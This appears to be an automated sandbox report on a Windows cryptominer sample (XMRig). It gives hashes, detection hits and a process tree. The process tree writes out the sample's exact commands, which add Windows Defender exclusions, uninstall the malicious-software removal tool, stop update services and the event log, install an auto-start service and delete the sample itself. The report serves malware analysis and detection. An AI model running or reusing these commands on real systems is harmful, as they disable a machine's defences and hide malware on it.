Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
27-09-2024 03:37
Static task
static1
Behavioral task
behavioral1
Sample
78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe
Resource
win7-20240903-en
General
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Target
78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe
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Size
5.5MB
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MD5
dac0102fcb9fb02f7f6291cda42a4030
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SHA1
c7aa519f4d39962f84e89e386e015925d66784fb
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SHA256
78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645
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SHA512
053fb5b8309eea2326346eaae3cca3bf4df2f5fb85ba9ab0b314fdb645fe609b8a1a7e85e22e9546a6609b7904584849a22b3ac15805cc7a42000ce9f59c8355
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2508-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2508-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2888 powershell.exe 624 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1764 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 960 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2056 powercfg.exe 2180 powercfg.exe 2292 powercfg.exe 1784 powercfg.exe 2800 powercfg.exe 1648 powercfg.exe 1268 powercfg.exe 1604 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 960 set thread context of 2484 960 lutlgidagtja.exe 85 PID 960 set thread context of 2508 960 lutlgidagtja.exe 89 -
resource yara_rule behavioral1/memory/2508-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2508-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2780 sc.exe 2228 sc.exe 1912 sc.exe 2424 sc.exe 2224 sc.exe 2760 sc.exe 804 sc.exe 1632 sc.exe 2592 sc.exe 1740 sc.exe 2912 sc.exe 2796 sc.exe 1012 sc.exe 1556 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90a0cca98e10db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 2888 powershell.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 1580 78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe 960 lutlgidagtja.exe 624 powershell.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 960 lutlgidagtja.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe 2508 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2888 powershell.exe Token: SeShutdownPrivilege 2800 powercfg.exe Token: SeShutdownPrivilege 1604 powercfg.exe Token: SeShutdownPrivilege 1268 powercfg.exe Token: SeShutdownPrivilege 1648 powercfg.exe Token: SeDebugPrivilege 624 powershell.exe Token: SeShutdownPrivilege 1784 powercfg.exe Token: SeShutdownPrivilege 2180 powercfg.exe Token: SeShutdownPrivilege 2292 powercfg.exe Token: SeShutdownPrivilege 2056 powercfg.exe Token: SeLockMemoryPrivilege 2508 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2288 wrote to memory of 2636 2288 cmd.exe 37 PID 2288 wrote to memory of 2636 2288 cmd.exe 37 PID 2288 wrote to memory of 2636 2288 cmd.exe 37 PID 1764 wrote to memory of 2020 1764 cmd.exe 63 PID 1764 wrote to memory of 2020 1764 cmd.exe 63 PID 1764 wrote to memory of 2020 1764 cmd.exe 63 PID 2820 wrote to memory of 780 2820 cmd.exe 73 PID 2820 wrote to memory of 780 2820 cmd.exe 73 PID 2820 wrote to memory of 780 2820 cmd.exe 73 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2484 960 lutlgidagtja.exe 85 PID 960 wrote to memory of 2508 960 lutlgidagtja.exe 89 PID 960 wrote to memory of 2508 960 lutlgidagtja.exe 89 PID 960 wrote to memory of 2508 960 lutlgidagtja.exe 89 PID 960 wrote to memory of 2508 960 lutlgidagtja.exe 89 PID 960 wrote to memory of 2508 960 lutlgidagtja.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe"C:\Users\Admin\AppData\Local\Temp\78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1580 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2288 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2780
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2760
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2592
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1740
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:804
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1604
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1268
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1648
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2912
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2228
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1912
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:1632
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\78a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2020
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:624
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:780
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2796
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1012
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1556
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2224
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2424
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2292
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2056
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2484
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2508
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.5MB
MD5dac0102fcb9fb02f7f6291cda42a4030
SHA1c7aa519f4d39962f84e89e386e015925d66784fb
SHA25678a9fe868da68c2b99d031d0e268062d07e5793f37e1a1d7f22eaf69cf2ef645
SHA512053fb5b8309eea2326346eaae3cca3bf4df2f5fb85ba9ab0b314fdb645fe609b8a1a7e85e22e9546a6609b7904584849a22b3ac15805cc7a42000ce9f59c8355